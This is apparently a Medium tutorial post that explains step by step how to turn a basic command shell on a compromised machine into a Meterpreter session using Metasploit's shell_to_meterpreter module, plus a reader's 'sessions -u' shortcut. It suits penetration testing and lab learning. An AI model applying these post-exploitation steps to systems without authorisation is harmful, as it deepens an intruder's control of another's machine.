InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Follow publication

[Metasploit]Upgrade Normal Shell To Meterpreter Shell

After we got access to the machine, sometimes we get Meterpreter Shell immediately after exploitation. Meterpreter Shell offers the easiest ways to do some stuff in the compromised machine so, we want to get this Shell instead of Command Shell but most of the time after we exploit the machine we land into Command Shell. In this case, we want to upgrade our shell to Meterpreter Shell.

Steps To Upgrade Normal Command Shell ===> Meterpreter Shell

In this case, after the machine is exploited, we landed into the Normal command shell.

Step 1: Background the current(Normal Shell) session, we can do this by pressing CTRL+Z

Step 2: Now Run the following command “search shell_to_meterpreter”.

And use the module that is shown on the screen.

Step 3: Use the shown module by following the command
use post/multi/manage/shell_to_meterpreter” or by simply typing
use 0”. Any of the two commands will work.

Step 4: Now we have to configure which Session shell to upgrade. We can see the Session by running the following command i.e “sessions -l”. Id=Session-Number

Step 5: We can see the Options, by using the “show options” command.

Step 6: Set the session-id according to your session. We can use the following command to configure the session i.e “set SESSION <id-of session>” in my case “set SESSION 1”.

Step 7: After you configure your session, it’s time to execute it. We can execute by simply giving the following command → “run

After you enter the run command, another new session will open.

After the new session opened select the session and execute that session.

New Session 2

Step 8: Now execute the new session by running the following command “session -i <New-meterpeter-session>” in my case, it’s “session -i 2

After you run the last command, you will get meterpreter shell.

In this way, you can upgrade the normal command shell to meterpreter shell.

If you like my writeup then follow me on Twitter:- @Binamra Pandey

Thank You

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Responses (1)

Write a response

TL;DR;
1. From "normal shell" go back to MSF> CTRL+Z
2. Upgrade to meterpreter> sessions -u <id of (1) shell>
3. Swap to meterpreter shell> sessions -i 2

--